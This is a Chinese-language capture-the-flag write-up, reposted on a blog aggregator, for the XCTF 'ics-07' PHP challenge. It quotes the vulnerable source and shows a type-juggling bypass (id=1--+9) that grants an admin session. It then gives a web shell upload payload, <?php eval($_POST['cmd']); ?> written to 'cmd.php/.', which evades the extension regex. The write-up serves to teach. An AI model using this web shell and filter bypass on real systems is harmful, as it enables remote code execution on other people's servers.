zoukankan      html  css  js  c++  java
  • XCTF-ics-07

    ics-07

    • 题目描述

      工控云管理系统项目管理页面解析漏洞

    • 解题过程

      进入项目管理页面,给了源码

      <?php
          session_start();
      
          if (!isset($_GET[page])) {
            show_source(__FILE__);
            die();
          }
      
          if (isset($_GET[page]) && $_GET[page] != 'index.php') {
            include('flag.php');
          }else {
            header('Location: ?page=flag.php');
          }
      
          ?>
      
          <form action="#" method="get">
            page : <input type="text" name="page" value="">
            id : <input type="text" name="id" value="">
            <input type="submit" name="submit" value="submit">
          </form>
          <br />
          <a href="index.phps">view-source</a>
      <?php
            if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
              include 'config.php';
              $id = mysql_real_escape_string($_GET[id]);
              $sql="select * from cetc007.user where id='$id'";
              $result = mysql_query($sql);
              $result = mysql_fetch_object($result);
            } else {
              $result = False;
              die();
            }
      
            if(!$result)die("<br >something wae wrong ! <br>");
            if($result){
              echo "id: ".$result->id."</br>";
              echo "name:".$result->user."</br>";
              $_SESSION['admin'] = True;
            }
      ?>
      
      • 先看了下面的sql部分,要执行sql语句需要满足一些条件:

        • id转换为float后等于1
        • id的最后一位为9
        • 最后id要直接放到sql语句里,所以需要合法

        这个点涉及了php的类型转换漏洞,结合上面的条件构造:id=1--+9

        因为这里面有mysql_real_escape_string()函数,会在以下字符前添加反斜杠: *x00*, * *, * *, **, *'*, *"* *x1a*.

        查了一下可以宽字节绕过,但是尝试之后不起作用,暂时搁着往下看。

        查询成功后 $_SESSION['admin'] = True;,就可以使用上半部分读取文件的功能点了

        <?php
            if ($_SESSION['admin']) {
                $con = $_POST['con'];
                $file = $_POST['file'];
                $filename = "backup/".$file;
        
                if(preg_match('/.+.ph(p[3457]?|t|tml)$/i', $filename)){
                    die("Bad file extension");
                }else{
                    chdir('uploaded');
                    $f = fopen($filename, 'w');
                    fwrite($f, $con);
                    fclose($f);
                }
            }
        ?>
        

        用post传入confile,会把con的内容写到/uploaded/backup/file里,但file的内容会被preg_match检查

        想起来preg_match的一个漏洞,在匹配结束后会转义unicode,把cmd.phpunicode编码再url编码,构造payload:

        con=<?php eval($_POST['cmd']); ?>&file=%26%2399%3B%26%23109%3B%26%23100%3B%26%2346%3B%26%23112%3B%26%23104%3B%26%23112%3B

        发现unicode没有被转义,自己搭了环境测试,是可行的,看来是版本原因

        再想想办法,把正则表达式放到可视化网站里看了下,这里的后缀匹配方式是最后一个点后面的内容

        尝试con=<?php eval($_POST['cmd']); ?>&file=cmd.php/.

        还是传不了,就xx离谱,去看了n多write up,都是这么做的,感觉是burp的问题

        换firefox试了一下,是可以的?问号脸(为啥burp不行呢,我检查了sessionID是一样的,url/格式也没问题,请求方式也改了)

        连蚁剑,拿flag

  • 相关阅读:
    ioS开发之CoreLocation(GPS定位)
    iOSiOS开发之退出功能(易错)
    iOS开发之判断横竖屏切换
    iOS开发之左右抖动效果
    iOS开发之UIPopoverController
    thinkphp or查询
    Invalid left-hand side in assignment
    实现input表单从右向左输入
    thinkPhp不为空查询
    array_filter()用法
  • 原文地址:https://www.cnblogs.com/R3col/p/13065405.html
Copyright © 2011-2022 走看看